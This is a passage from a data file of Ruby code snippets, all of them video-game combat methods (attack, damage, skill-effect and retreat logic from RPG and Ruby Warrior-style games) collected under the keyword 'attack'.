false\n end",
"def applyPhysicalAttack(x)\n if x.physical_attack == @value\n return true\n else\n return false\n end\n end",
"def attack?\n true\n end",
"def attack?\n if rand(@danger_level) > 3\n report_action 'attacking!'\n sleep 7\n return true\n else \n report_action 'not attacking....'\n sleep 1\n return false\n end\n end",
"def attack() stat(:attack) end",
"def retreat\n return false if count_unit_type(:Sludge) > 5\n if under_attack and warrior.health < @retreat_health and @enemies > 0\n Directions.each do |dir|\n if warrior.feel(dir).empty? and \n !warrior.feel(dir).wall? and \n !warrior.feel(dir).stairs? \n puts \"Retreating to the #{dir} to heal\"\n @enemies_binded = 0\n return warrior.walk! dir\n end\n end\n end\n return false\n end",
"def attack()\r\n @warrior.attack!\r\n end",
"def attack()\r\n @warrior.attack!\r\n end",
"def perform_melee_attack!\n # First the regular attack\n @attack = AttackAtomicStep.new( @attacking_unit, @defending_unit, :melee, :attack )\n attack_hits = @attack.roll_attack\n\n puts @attack.to_s if @verbose\n\n if @attack.attack_type == :cac\n # If attack was cac then we perform the retail\n @retaliation = AttackAtomicStep.new(@defending_unit, @attacking_unit, :melee, :retaliation )\n retail_hits = @retaliation.roll_attack\n\n puts @retaliation.to_s if @verbose\n\n # Hits must be assigned after the fight.\n @hits_history.retailing_unit = HitsAssignment.new(\n @attacking_gang, @attacking_unit, verbose: @verbose ).assign_hits!( retail_hits )\n end\n\n # And the attacking hits\n @hits_history.attacking_unit = HitsAssignment.new(\n @defending_gang, @defending_unit, verbose: @verbose ).assign_hits!( attack_hits )\n end",
"def can_attack?(target)\n if target.is_a?(Stealth)\n return true if (DamageChart::PriDamage[@unit_type][target.unit_type] != -1 and @ammo > 0)\n else\n return super\n end\n end",
"def attack_attempt?(enemy)\n valid_attack = true\n if self.health_points <= 0 or enemy.health_points <= 0\n valid_attack = false\n end\n valid_attack\n end",
"def skill_effect(user, skill)\n # Clear critical flag\n self.critical = false\n # If skill scope is for ally with 1 or more HP, and your own HP = 0,\n # or skill scope is for ally with 0, and your own HP = 1 or more\n if ((skill.scope == 3 or skill.scope == 4) and self.hp == 0) or\n ((skill.scope == 5 or skill.scope == 6) and self.hp >= 1)\n # End Method\n return false\n end\n # Clear effective flag\n effective = false\n # Set effective flag if common ID is effective\n effective |= skill.common_event_id > 0\n # First hit detection\n hit = skill.hit\n if skill.atk_f > 0\n hit *= user.hit / 100\n end\n hit_result = (rand(100) < hit)\n # Set effective flag if skill is uncertain\n effective |= hit < 100\n # If hit occurs\n if hit_result == true\n # Calculate power\n power = skill.power + user.atk * skill.atk_f / 100\n if power > 0\n power -= self.pdef * skill.pdef_f / 200\n power -= self.mdef * skill.mdef_f / 200\n power = [power, 0].max\n end\n # Calculate rate\n rate = 20\n rate += (user.str * skill.str_f / 100)\n rate += (user.dex * skill.dex_f / 100)\n rate += (user.agi * skill.agi_f / 100)\n rate += (user.int * skill.int_f / 100)\n # Calculate basic damage\n self.damage = power * rate / 20\n # Element correction\n self.damage *= elements_correct(skill.element_set)\n self.damage /= 100\n # If damage value is strictly positive\n if self.damage > 0\n # Guard correction\n if self.guarding?\n self.damage /= 2\n end\n end\n # Dispersion\n if skill.variance > 0 and self.damage.abs > 0\n amp = [self.damage.abs * skill.variance / 100, 1].max\n self.damage += rand(amp+1) + rand(amp+1) - amp\n end\n # Second hit detection\n eva = 8 * self.agi / user.dex + self.eva\n hit = self.damage < 0 ? 100 : 100 - eva * skill.eva_f / 100\n hit = self.cant_evade? ? 100 : hit\n hit_result = (rand(100) < hit)\n # Set effective flag if skill is uncertain\n effective |= hit < 100\n end\n # If hit occurs\n if hit_result == true\n # If physical attack has power other than 0\n if skill.power != 0 and skill.atk_f > 0\n # State Removed by Shock\n remove_states_shock\n # Set to effective flag\n effective = true\n end\n # Substract damage from HP\n last_hp = self.hp\n self.hp -= self.damage\n effective |= self.hp != last_hp\n # State change\n @state_changed = false\n effective |= states_plus(skill.plus_state_set)\n effective |= states_minus(skill.minus_state_set)\n # If power is 0\n if skill.power == 0\n # Set damage to an empty string\n self.damage = \"\"\n # If state is unchanged\n unless @state_changed\n # Set damage to \"Miss\"\n self.damage = \"Miss\"\n end\n end\n # If miss occurs\n else\n # Set damage to \"Miss\"\n self.damage = \"Miss\"\n end\n # If not in battle\n unless $game_temp.in_battle\n # Set damage to nil\n self.damage = nil\n end\n # End Method\n return effective\n end",
"def attack(offender, defender, fight_time)\n if defender.health > 0 && offender.is_dead == false\n defender.health = defender.health - offender.power\n if defender.health < 0\n defender.health = 0\n end\n elsif defender.health > 0 && offender.is_dead == true\n nil\n elsif\n defender.is_dead = true\n defender.health = 0\n end\n if fight_time > offender.stamina && offender.power > 1\n offender.power = offender.power - 1\n offender.is_tired = true\n end\n fighters = {offender: offender, defende: defender}\nend",
"def monsterfight(user, monster, mAtk, enemy)\n\n#make a loop with a boolean value. The loop will keep running unless somebody's health goes to zero or \n#the user runs away\n\n\tenemy['name'] = monster.sample\n\tcombat = true\n\n\tif enemy['name'] == 'Mutated Octopus'\n\t\tenemy['hp'] = 7\n\t\tenemy['atkSpd'] = 6\n\t\tenemy['armor'] = 1\n\n\telsif enemy['name'] == 'Sabertooth Goldfish'\n\t\tenemy['hp'] = 6\n\t\tenemy['atkSpd'] = 5\n\t\tenemy['armor'] = 1\n\n\telsif enemy ['name'] == 'Lady Gaga'\n\t\tenemy['hp'] = 8\n\t\tenemy['atkSpd'] = 8\n\t\tenemy['armor'] = 1\n\n\telsif enemy ['name'] == 'Hannah Montana'\n\t\tenemy['hp'] = 10\n\t\tenemy['atkSpd'] = 10\n\t\tenemy['armor'] = 1\n\tend\n\n\tputs ''\n\n# choosing the random attack of the monster. no need to push into a hash\n\tdef monsterAttack(user, mAtk, enemy)\n\t\trandAttack = mAtk.sample\n\n\t\tif randAttack == 'Slap'\n\t\t\tmonsterDmg = 1\n\t\t\tuser['health'] -= 1\n\n\t\telsif randAttack == 'Bite'\n\t\t\tmonsterDmg = 2\n\t\t\tuser['health'] -= 1\n\n\t\telsif randAttack == 'Eyepoke'\n\t\t\tmonsterDmg = 3\n\t\t\tuser['health'] -= 1\n\t\tend\n\n\t\tputs \"You get hit by #{enemy['name']} for #{monsterDmg}. Your health is now #{user['health']}\"\n\t\t\n\tend\n\n\tdef heroAttack(user, enemy)\n\n\t\theroAttack = user['weapon']\n\n\t\tif heroAttack == 'Sword'\n\t\t\thitDmg = rand(2...5)\n\t\t\tenemy['hp'] -= hitDmg\n\n\t\telsif heroAttack == 'Spear'\n\t\t\thitDmg = rand(1...6)\n\t\t\tenemy['hp'] -= hitDmg\n\n\t\telsif heroAttack == 'Axe'\n\t\t\thitDmg = rand(3...4)\n\t\t\tenemy['hp'] -= hitDmg\n\t\tend\n\t\t\n\t\tputs \"You hit the #{enemy['name']} for #{hitDmg}. Their health is now #{enemy['hp']}\"\n\tend\n\n\tputs \"A wild #{enemy['name']} has appeared. Do you choose to fight or run? (enter 'fight' or 'run')\"\n\n\tchoice = gets.chomp.downcase\n\n\twhile (user['health'] > 0 && enemy['hp'] > 0 && combat == true)\n\n\t\tif choice == 'fight'\n\t\t\tputs 'Alright lets do this!'\n\t\t\tmonsterAttack(user, mAtk, enemy)\n\t\t\theroAttack(user, enemy)\n\n\t\telsif choice == 'run'\n\t\t\tputs 'You attempt to escape'\n\n\t\telsif choice != 'fight' || choice != 'run' \n\t\t\tputs 'Please enter \"fight\" or \"run\"'\n\t\t\tchoice = gets.chomp.downcase\n\t\tend\n\n\t\tif enemy['hp'] > 0 && user['health']\n\t\t\tputs \"Continue fighting? (fight or run)\"\n\t\t\tchoice = gets.chomp.downcase\n\n\t\telsif enemy['hp'] <= 0\n\t\t\tputs \"You have killed #{enemy['name']}\"\n\t\t\tcombat == false\n\n\t\telsif user['health'] <= 0\n\t\t\tputs \"You have died\"\n\t\t\tcombat == false\n\t\tend\n\tend\n\nend",
"def check_on_attack(attacker,target,atk_skill,fail = false, success = false)\n string = Lecode_Challenge_Maker::On_Attack[name]\n error = \"Kernel.eval Error | \"+name+\" | on_attack\"\n Kernel.eval(string) rescue msgbox error\n if success\n checkSuccess(false)\n else\n checkCondition(!fail)\n end end",
"def attack!(enemy)\n enemy.damage(attack_power) unless self.dead? || enemy.dead?\n end",
"def can_attack?(enemy)\n !enemy.dead? && !dead?\n end",
"def attack_effect(attacker)\r\n # Setup Attack Effect\r\n attack_effect_setup\r\n # First Hit Detection\r\n hit_result = attack_effect_first_hit_result(attacker)\r\n # If hit occurs\r\n if hit_result\r\n # Calculate Basic Damage\r\n attack_effect_base_damage(attacker)\r\n # Element Correction\r\n attack_effect_element_correction(attacker)\r\n # If damage value is strictly positive\r\n if self.damage > 0\r\n # Critical correction\r\n attack_effect_critical_correction(attacker)\r\n # Guard correction\r\n attack_effect_guard_correction\r\n end\r\n # Dispersion\r\n attack_effect_dispersion\r\n # Second Hit Detection\r\n hit_result = attack_effect_second_hit_result(attacker)\r\n end\r\n # If hit occurs\r\n if hit_result\r\n # State Removed by Shock\r\n remove_states_shock\r\n # Substract damage from HP\r\n attack_effect_damage\r\n # State change\r\n @state_changed = false\r\n states_plus(attacker.plus_state_set)\r\n states_minus(attacker.minus_state_set)\r\n # When missing\r\n else\r\n # Apply Miss Results\r\n attack_effect_miss\r\n end\r\n # End Method\r\n return true\r\n end",
"def attacked? tribal_strength, direction\n (tribal_strength > @@wall_strength[direction])\n end",
"def hurt?\n\t\t@warrior.health < 20\n\tend",
"def attack(enemy)\n if enemy.dead\n puts \"#{enemy.name} is already dead\"\n return false\n end\n damage = (rand * 10 + 10).round(0) #=> random number\n enemy.take_damage(damage) #=> eneny takes damage using random damge\n end",
"def skill_effect(user, skill)\n # Clear critical flag\n self.critical = false\n # If skill scope is for ally with 1 or more HP, and your own HP = 0,\n # or skill scope is for ally with 0, and your own HP = 1 or more\n if ((skill.scope == 3 or skill.scope == 4) and self.hp == 0) or\n ((skill.scope == 5 or skill.scope == 6) and self.hp >= 1)\n # End Method\n return false\n end\n # Clear effective flag\n effective = false\n # Set effective flag if common ID is effective\n effective |= skill.common_event_id > 0\n # First hit detection\n hit = skill.hit\n if skill.atk_f > 0\n hit *= user.hit / 100\n end\n hit_result = (rand(100) < hit)\n # Set effective flag if skill is uncertain\n effective |= hit < 100\n # Si Golpeas\n if hit_result == true\n if Wep::Atribute_mod_skills[skill.id] != nil\n # Extract and calculate effect\n # Calculate power\n ef = Wep::Atribute_mod_skills[skill.id][0] + user.atk * skill.atk_f / 100\n ef -= self.pdef * skill.pdef_f / 200\n ef -= self.mdef * skill.mdef_f / 200\n # Calculate rate\n ra = 20\n ra += (user.str * skill.str_f / 100)\n ra += (user.dex * skill.dex_f / 100)\n ra += (user.agi * skill.agi_f / 100)\n ra += (user.int * skill.int_f / 100)\n # Calculate total effect\n total_ef = ef * ra / 20\n # Apply dispersion\n if skill.variance > 0\n amp = [total_ef * skill.variance / 100, 1].max\n total_ef += rand(amp+1) + rand(amp+1) - amp\n end\n \n # Apply if exist\n case Wep::Atribute_mod_skills[skill.id][1]\n \n when 'maxhp':\n self.atr_mod_list.maxhp += total_ef\n when 'maxsp':\n self.atr_mod_list.maxsp += total_ef\n \n when 'str':\n self.atr_mod_list.str += total_ef\n when 'dex':\n self.atr_mod_list.dex += total_ef\n when 'int':\n self.atr_mod_list.int += total_ef\n when 'agi':\n self.atr_mod_list.agi += total_ef\n \n when 'atk':\n self.atr_mod_list.atk += total_ef\n when 'pdef':\n self.atr_mod_list.pdef += total_ef\n when 'mdef':\n self.atr_mod_list.mdef += total_ef\n when 'eva':\n self.atr_mod_list.eva += total_ef\n end\n end\n \n # Calculate power\n power = skill.power + user.atk * skill.atk_f / 100\n if power > 0\n power -= self.pdef * skill.pdef_f / 200\n power -= self.mdef * skill.mdef_f / 200\n power = [power, 0].max\n end\n # Calculate rate\n rate = 20\n rate += (user.str * skill.str_f / 100)\n rate += (user.dex * skill.dex_f / 100)\n rate += (user.agi * skill.agi_f / 100)\n rate += (user.int * skill.int_f / 100)\n # Calculate basic damage\n self.damage = power * rate / 20\n # Element correction\n self.damage *= elements_correct(skill.element_set)\n self.damage /= 100\n # If damage value is strictly positive\n if self.damage > 0\n # Guard correction\n if self.guarding?\n self.damage /= 2\n end\n end\n # Dispersion\n if skill.variance > 0 and self.damage.abs > 0\n amp = [self.damage.abs * skill.variance / 100, 1].max\n self.damage += rand(amp+1) + rand(amp+1) - amp\n end\n # Second hit detection\n eva = 8 * self.agi / user.dex + self.eva\n hit = self.damage < 0 ? 100 : 100 - eva * skill.eva_f / 100\n hit = self.cant_evade? ? 100 : hit\n hit_result = (rand(100) < hit)\n # Set effective flag if skill is uncertain\n effective |= hit < 100\n end\n # If hit occurs\n if hit_result == true\n # If physical attack has power other than 0\n if skill.power != 0 and skill.atk_f > 0\n # State Removed by Shock\n remove_states_shock\n # Set to effective flag\n effective = true\n end\n # Substract damage from HP\n last_hp = self.hp\n self.hp -= self.damage\n effective |= self.hp != last_hp\n # State change\n @state_changed = false\n if Wep::Skill_state_rates[skill.id] != nil\n state_add = []\n state_remove = []\n # Loop over state rates and check the posibiltys. Create a state list.\n for state_rate in Wep::Skill_state_rates[skill.id]\n if rand(100) < state_rate[1]\n state_add.push(state_rate[0])\n for s in state_rate[2]\n state_remove.push(s)\n end\n end\n end\n states_plus(state_add)\n states_minus(state_remove)\n #effective |= states_plus(state_add)\n #effective |= states_minus(state_remove)\n else\n states_plus(skill.plus_state_set)\n states_minus(skill.minus_state_set)\n #effective |= states_plus(skill.plus_state_set)\n #effective |= states_minus(skill.minus_state_set)\n end\n # If power is 0\n if skill.power == 0\n # No damage\n self.damage = \"\"\n # If state does not change\n unless @state_changed\n # Miss\n self.damage = \"Miss\"\n end\n end\n else\n # Miss\n self.damage = \"Miss\"\n end\n unless $game_temp.in_battle\n self.damage = nil\n end\n return effective\n end",
"def attack #basic attack for now\r\n attack_value = strength + rand(25..50)\r\n puts \"#{@name} SWINGS his Weapon for #{attack_value} Points of Damage!\"\r\n end",
"def check_cant_IA(pkmn)\n return true unless pkmn\n return true if pkmn.dead?\n #>Attaque forcée\n if(pkmn.battle_effect.has_forced_attack?)\n _stack_add_attack(\n skill_index: pkmn.battle_effect.get_forced_attack(pkmn),\n target_position: pkmn.battle_effect.get_forced_position,\n launcher: pkmn\n )\n #@results.push([0,pkmn.battle_effect.get_forced_attack(pkmn),\n #-pkmn.battle_effect.get_forced_position-1,pkmn])\n return true\n #>Si lutte car pas de skills viable\n elsif(BattleEngine::_lutte?(pkmn))\n _stack_add_attack(target_position: rand($game_temp.vs_type), launcher: pkmn)\n #@results.push([0,nil,-rand($game_temp.vs_type)-1,pkmn])\n return true\n elsif(pkmn.battle_effect.has_encore_effect?)\n _stack_add_attack(\n skill_index: pkmn.skills_set.index(pkmn.battle_effect.encore_skill).to_i,\n target_list: util_targetselection_automatic(pkmn, pkmn.battle_effect.encore_skill),\n launcher: pkmn\n )\n #@results.push([0,pkmn.skills_set.index(pkmn.battle_effect.encore_skill).to_i,\n #util_targetselection_automatic(pkmn, pkmn.battle_effect.encore_skill),pkmn])\n return true\n end\n return false\n end",
"def attack(user)\n # Variable to see how many damage instances will be\n damage_instances_count = 0\n\n # Search within weapons for damage bonus\n user.weapons.each do |weapon|\n weapon.bonuses.each do |bonus|\n if bonus.bonus_type == 'damage'\n damage_instances_count = bonus.multiplier\n end\n end\n end\n\n # For each damage bonus we will calculate the attack again\n damage_instances = (1..damage_instances_count).map do\n # Values from weapons\n weapon_attack_points = 0\n weapon_attack_modifiers = 0\n weapon_attack_recoil_modifier = 0\n\n weapon_defense_points = 0\n weapon_defense_modifiers = 0\n\n # Finding bonuses and adding to the list\n user.weapons.each do |weapon|\n weapon_attack_points += weapon.attack_points\n weapon_defense_points += weapon.defense_points\n\n weapon.bonuses.each do |bonus|\n if bonus.bonus_type == 'attack'\n weapon_attack_modifiers += bonus.multiplier\n elsif bonus.bonus_type == 'recoil'\n weapon_attack_recoil_modifier += bonus.multiplier\n elsif bonus.bonus_type == 'defense'\n weapon_defense_modifiers += bonus.multiplier\n end\n end\n end\n\n # Values from rings\n rings_attack_points = 0\n rings_attack_modifiers = 0\n\n rings_defense_points = 0\n rings_defense_modifiers = 0\n\n # Finding bonuses and adding to the list\n user.rings.each do |ring|\n rings_attack_points += ring.attack_points\n rings_defense_points += ring.defense_points\n\n ring.bonuses.each do |bonus|\n if bonus.bonus_type == 'attack'\n rings_attack_modifiers += bonus.multiplier\n elsif bonus.bonus_type == 'defense'\n rings_defense_modifiers += bonus.multiplier\n end\n end\n end\n\n # Values from helmets\n helmet_attack_points = user.helmet.attack_points\n helmet_attack_modifiers = 0\n\n helmet_defense_points = user.helmet.defense_points\n helmet_defense_modifiers = 0\n\n # Finding bonuses and adding to the list\n user.helmet.bonuses.each do |bonus|\n if bonus.bonus_type == 'attack'\n helmet_attack_modifiers += bonus.multiplier\n elsif bonus.bonus_type == 'defense'\n helmet_defense_modifiers += bonus.multiplier\n end\n end\n\n # Values from body armor\n body_armor_attack_points = user.body_armor.attack_points\n body_armor_attack_modifiers = 0\n\n body_armor_defense_points = user.body_armor.defense_points\n body_armor_defense_modifiers = 0\n\n # Finding bonuses and adding to the list\n user.body_armor.bonuses.each do |bonus|\n if bonus.bonus_type == 'attack'\n body_armor_attack_modifiers += bonus.multiplier\n elsif bonus.bonus_type == 'defense'\n body_armor_defense_modifiers += bonus.multiplier\n end\n end\n\n # Values from boots\n boots_attack_points = user.boots.attack_points\n boots_attack_modifiers = 0\n\n boots_defense_points = user.boots.defense_points\n boots_defense_modifiers = 0\n\n # Finding bonuses and adding to the list\n user.boots.bonuses.each do |bonus|\n if bonus.bonus_type == 'attack'\n boots_attack_modifiers += bonus.multiplier\n elsif bonus.bonus_type == 'defense'\n boots_defense_modifiers += bonus.multiplier\n end\n end\n\n # Values from gloves\n gloves_attack_points = user.gloves.attack_points\n gloves_attack_modifiers = 0\n\n gloves_defense_points = user.gloves.defense_points\n gloves_defense_modifiers = 0\n\n # Finding bonuses and adding to the list\n user.gloves.bonuses.each do |bonus|\n if bonus.bonus_type == 'attack'\n gloves_attack_modifiers += bonus.multiplier\n elsif bonus.bonus_type == 'defense'\n gloves_defense_modifiers += bonus.multiplier\n end\n end\n\n # Values from amulet\n amulet_attack_points = user.amulet.attack_points\n amulet_attack_modifiers = 0\n\n amulet_defense_points = user.amulet.defense_points\n amulet_defense_modifiers = 0\n\n # Finding bonuses and adding to the list\n user.amulet.bonuses.each do |bonus|\n if bonus.bonus_type == 'attack'\n amulet_attack_modifiers += bonus.multiplier\n elsif bonus.bonus_type == 'defense'\n amulet_defense_modifiers += bonus.multiplier\n end\n end\n\n # Making a sum of all the points from the itens\n attack_points_sum = weapon_attack_points + rings_attack_points + helmet_attack_points + body_armor_attack_points + boots_attack_points + gloves_attack_points + amulet_attack_points\n defense_points_sum = weapon_defense_points + rings_defense_points + helmet_defense_points + body_armor_defense_points + boots_defense_points + gloves_defense_points + amulet_defense_points\n\n # Making a sum of all the bonuses from the items\n attack_modifiers_sum = weapon_attack_modifiers + rings_attack_modifiers + helmet_attack_modifiers + body_armor_attack_modifiers + boots_attack_modifiers + gloves_attack_modifiers + amulet_attack_modifiers\n defense_modifiers_sum = weapon_defense_modifiers + rings_defense_modifiers + helmet_defense_modifiers + body_armor_defense_modifiers + boots_defense_modifiers + gloves_defense_modifiers + amulet_defense_modifiers\n\n # Calculating damage, defense and recoil\n attack_total = attack_points_sum * attack_modifiers_sum\n defense_total = defense_points_sum * defense_modifiers_sum\n recoil_total = (attack_total * weapon_attack_recoil_modifier * ((attack_total / (defense_total + (E ** -attack_total))) / 100)).floor\n\n # Creating a new DamageInstance\n DamageInstance.new(attack_total, recoil_total)\n end\n\n # Returning damage instances\n damage_instances\n end",
"def hit_by_attack(other)\n return if invincibility.positive?\n\n @health -= other.damage\n other.destroy\n end",
"def attack_usable?\r\n usable?($data_skills[attack_skill_id])\r\n end",
"def attack()\r\n\t\tweaponPower = @weapon.offensiveWeapon()\r\n\t\tif(@weapon.name == \"Shield\")\r\n\t\t\treturn (weaponPower*@strength)/2\r\n\t\telse\r\n\t\t\treturn weaponPower*@strength\r\n\t\tend\r\n\tend",
"def attackable?\n true\n end",
"def attack( opponent)\n \n # skip turn if disarmed\n [:disarmed, :knockback].each do | condition |\n if self.hasCondition? condition\n self.removeCondition condition\n FightRecord.addEvent( self, :skip, nil )\n return\n end\n end\n \n if( opponent.is_a? Array )\n self.attack( opponent.last )\n if( !opponent.last.alive? )\n opponent.pop\n end\n return\n end\n \n self.rollWeaponSkill\n\n tn = self.tnFor opponent\n \n FightRecord.addEvent( self, :attack, {:dice => @dice.clone, :tn => tn, :called => self.hasCondition?(:called_shot) } )\n \n if( self.hit?(opponent) && opponent.hit_by?(self)) # give opponent one last chance to avoid...\n self.hit opponent\n elsif self.hasCondition? :called_shot\n if self.dice.sauron?\n self.addCondition :fumble\n FightRecord.addEvent( self, :fumble, nil )\n end\n self.removeCondition :called_shot\n end\n\n if( @dice.sauron? )\n opponent.attackerRolledSauron\n end\n \n if !opponent.alive?\n FightRecord.addEvent( opponent, :dies, nil )\n end \n \n end",
"def enemies_attack\n @enemies.each do |mechant| #player contient Josiane et José\n if mechant.life_points > 0\n mechant.attacks(@human_player)\n end #end of if \n end #end of do\n end",
"def taking_damage?\n if @warrior.health < @health\n true\n else\n false\n end\n end",
"def attack?\n return (@kind == ACTAttack)\n end",
"def attack(target)\n\n #check to see if there is any target\n if target == nil\n puts \"Invite some friends to play this awesome game.\".blue\n\n else\n #print fighting for the user\n\n puts Artii::Base.new.asciify \"Fight\"\n\n\n\n ###methods for determining probability of victory\n ###and damage to the opponent or current user#####\n\n #if the characters have the same attack power\n if self.power == target.power\n\n #if the player wins the battle\n if rand > 0.5\n\n #reduce the target's hp by 10\n target.update_hp(-10)\n\n #display outcome of the battle to the player\n puts \"$$$$$$$$$$$$$$$$$$$$$$$$$$$\".blink\n puts \"#{self.name} Has Defeated #{target.name}\".green.on_light_blue.bold\n puts \"#{self.name} HP: #{self.hp}\"\n\n #see if the target is still alive\n if target.hp > 0\n puts \"#{target.name} HP: #{target.hp}\"\n end\n puts \"$$$$$$$$$$$$$$$$$$$$$$$$$$$\".blink\n\n #if the player loses the battle\n #reduce the player's hp\n else\n self.update_hp(-10)\n\n #display outcome of the battle to the player\n puts \"$$$$$$$$$$$$$$$$$$$$$$$$$$$\".blink\n puts \"#{self.name} Has Lost Battle to #{target.name}\".black.on_light_red\n puts \"#{self.name} HP: #{self.hp}\"\n puts \"#{target.name} HP: #{target.hp}\"\n puts \"$$$$$$$$$$$$$$$$$$$$$$$$$$$\".blink\n end\n\n #if the player has a greater attack power than that of the target\n elsif self.power > target.power\n puts \"$$$$$$$$$$$$$$$$$$$$$$$$$$$\".blink\n\n #if the player wins the battle\n #calculation based on distance between the attack powers\n #of the player and target\n if rand < (0.4 + ((self.power - target.power).to_f/4))\n\n #reduce hp of the target\n target.update_hp(-5*(self.power - target.power))\n\n #print outcome of the battle\n puts \"#{self.name} Has Defeated #{target.name}\".green.on_light_blue.bold\n puts \"#{self.name} HP: #{self.hp}\"\n\n #check if target still alive\n if target.hp > 0\n puts \"#{target.name} HP: #{target.hp}\"\n end\n puts \"$$$$$$$$$$$$$$$$$$$$$$$$$$$\".blink\n\n #if the player loses the battle\n #reduce the player's hp\n else\n self.update_hp(-10)\n\n #display outcome of the battle to the player\n puts \"$$$$$$$$$$$$$$$$$$$$$$$$$$$\".blink\n puts \"#{self.name} Has Lost Battle to #{target.name}\".black.on_light_red\n puts \"#{self.name} HP: #{self.hp}\"\n puts \"#{target.name} HP: #{target.hp}\"\n puts \"$$$$$$$$$$$$$$$$$$$$$$$$$$$\".blink\n end\n\n #if the player has a lower attack power than that of the target\n else\n\n #if the player wins the battle\n #calculation based on distance between the attack powers\n #of the player and target\n if rand > (0.45 + ((target.power - self.power).to_f/4))\n\n #reduce hp of the target\n target.update_hp(-2*(-self.power + target.power))\n\n #display outcome of the battle to the player\n puts \"$$$$$$$$$$$$$$$$$$$$$$$$$$$\".blink\n puts \"#{self.name} Has Defeated #{target.name}\".green.on_light_blue.bold\n puts \"#{self.name} HP: #{self.hp}\"\n\n #check if target still alive\n if target.hp > 0\n puts \"#{target.name} HP: #{target.hp}\"\n puts \"$$$$$$$$$$$$$$$$$$$$$$$$$$$\".blink\n end\n\n #if the player loses the battle\n #reduce the player's hp\n else\n self.update_hp(-3*(-self.power + target.power))\n\n #display outcome of the battle to the player\n puts \"$$$$$$$$$$$$$$$$$$$$$$$$$$$\".blink\n puts \"#{self.name} Has Lost Battle to #{target.name}\".black.on_light_red\n puts \"#{self.name} HP: #{self.hp}\"\n puts \"#{target.name} HP: #{target.hp}\"\n puts \"$$$$$$$$$$$$$$$$$$$$$$$$$$$\".blink\n end\n end\n end\n end",
"def skill_effect_damage\r\n # Substract damage from HP\r\n last_hp = self.hp\r\n self.hp -= self.damage\r\n return self.hp != last_hp\r\n end",
"def canfight?()\n\n d = 2 if @x == $player.x and @y == $player.y - 1\n d = 8 if @x == $player.x and @y == $player.y + 1\n d = 4 if @y == $player.y and @x == $player.x + 1\n d = 6 if @y == $player.y and @x == $player.x - 1\n \n return passable?(x,y,d)\n\n end",
"def gotAttack(damage)\r\n @@probsDeflects = Array['deflect', 'deflect', 'deflect', 'deflect', 'deflect',\r\n 'deflect', 'deflect', 'deflect', 'got hit', 'got hit' ]\r\n\r\n @@probs = @@probsDeflects[rand(0..9)]\r\n if @role.upcase == \"HERO\"\r\n if @@probs == 'deflect'\r\n puts \"#{@name} deflects the attack.\"\r\n @hitpoint += damage\r\n end\r\n end\r\n @hitpoint -= damage\r\n end",
"def conform_attack_strength\n rng = rand(0.7..0.9)\n self.attack_strength = (attack_strength > 20 * rng) && new_record? ? (20 * rng).to_i : attack_strength\n end",
"def attack(troops)\n troops + self.level * troops\n end",
"def taking_damage_action\n if @warrior.feel(:backward).empty? && @health < 10\n @warrior.walk!(:backward)\n elsif @warrior.feel.empty?\n @warrior.walk!\n elsif @warrior.feel.enemy?\n @warrior.attack!\n end\n end",
"def calculate\n @calculated = true\n \n @weapon = Weapon.find(weapon_id)\n @armour = Armour.find(armour_id)\n \n # hp\n @base_hp = 20 + (level * 5) + (((base_end - 10) * level) / 2.5).round\n @dmg_taken = 0\n \n @intimidate = 0\n @discipline = 0\n @judgement = 0\n\n @can_train = true\n \n # load modifiers\n load_mods\n apply_mods\n \n # calculated values used in attack / dodge rolls\n @str_mod = (@str - 10) / 2\n @agi_mod = (@agi / 2).floor\n @int_mod = ((@int - 10) / 2).floor\n @x_mod = (@x / 2).floor\n\n \n @crit_range = 5 + @agi_mod + (@int_mod / 2)\n @str_dmg = (@str_mod + ((@str_mod * level) * 0.05)).ceil\n\n @dodge_percent = @agi_mod + @x_mod + (@int_mod / 2)\n @armour.is_light ? @dodge_percent += 5 : @dodge_percent -= 3\n @deflect_percent = (@str_mod / 2).floor + (@int_mod / 2)\n \n if @armour.is_heavy\n @deflect_percent += 7 # add 7% bonus for heavy armour\n else\n @dodge_percent += 5 # add 5% bonus for light armour\n @judgement += 1\n end\n \n # skill mods\n @intimidate += @str_mod + @int_mod\n @discipline += @str_mod + @int_mod\n @judgement += @int_mod\n \n @generated = 0\n @state = 1\n @intimidated = false\n @prepared = false\n end",
"def should_flee?(warrior)\n\t\tbad_health = warrior.health < DANGER_HEALTH\n\t\t@took_damage && bad_health\n\tend",
"def combat?; false; end",
"def monster_attack?\n if dice_roll(2,6) >= 9\n true\n else\n false \n end\nend",
"def dmg( d_type, dmg, ap, srpe_att, char_att )\n d = dmg\n\n # surprise attacks do more damage\n if srpe_att\n d = d * 1.5\n end\n\n # when you see it coming, there is a chance that you get to evade part of the damage\n if !srpe_att && (rand(100) + 1 < @c_evade)\n d = d / 1.25; # consider redesigning this feature, the original value was way to strong, temp reducing the divider\n end\n\n # modify damage based on your resistances to the different types\n case d_type\n when :standard\n d -= @c_class == 'Knight' ? 10 : 0 # Warriors get a special resistance to standard damage\n when :magic\n d -= @c_class == 'Wizard' ? 10 : 1 # Magi get a special resistance to magic damage\n when :earth\n d -= 1\n when :fire\n d -= 1\n when :water\n d -= 1\n when :wind\n d -= 1\n when :shadow\n d -= @c_class == 'Shinobi' ? 10 : 1 # Rogue get a special resistance to shadow damage\n when :ice\n d -= 1\n when :lightning\n d -= 1\n when :dark\n d -= 1\n when :light\n d -= 1\n when :psionic\n d -= 1\n else\n d -= 0\n end\n\n # modify damage based on armor worn\n if @armor == 'Leather'\n unless srpe_att # characters don't get to use armor values when surprise attacked\n d -= (2 - ap)\n end\n elsif @armor == 'Chain mail'\n unless srpe_att # characters don't get to use armor values when surprise attacked\n d -= (6 - ap)\n end\n elsif @armor == 'Full Plate'\n unless srpe_att # characters don't get to use armor values when surprise attacked\n d -= (12 - ap)\n end\n end\n\n # make sure we don't give them hp when they block it\n if d < 0\n d = 0;\n end\n\n # apply the damage\n @c_hp = @c_hp - d\n\n # display results\n if d == 0\n puts 'You suffered no damage from the attack, way to go!'\n elsif @c_hp <= 0\n @c_lvl -= 1\n puts \"You #{ @c_name } have perished. You respawn back at town square but have suffered loss in level. You are now level #{ @c_lvl }\"\n else\n puts \"You have suffered #{ d } wounds and now have #{ @c_hp } health left\"\n end\n\n # NOTE: this is becoming to painful, removing until we figure out\n # how to handle all the different combos for the counter attack\n # if @c_hp > 0 && !srpe_att && (rand(100) + 1 < @c_counter)\n # if @c_class == 'Knight' && @weapon == 'Short Sword'\n # char_att.dmg(:physical, rand(10) + 2, 0, false)\n # end\n # if @c_class == 'Knight' && @weapon == 'Longsword'\n # char_att.dmg(:physical, rand(20) + 2, 0, false)\n # end\n # if @c_class == 'Knight' 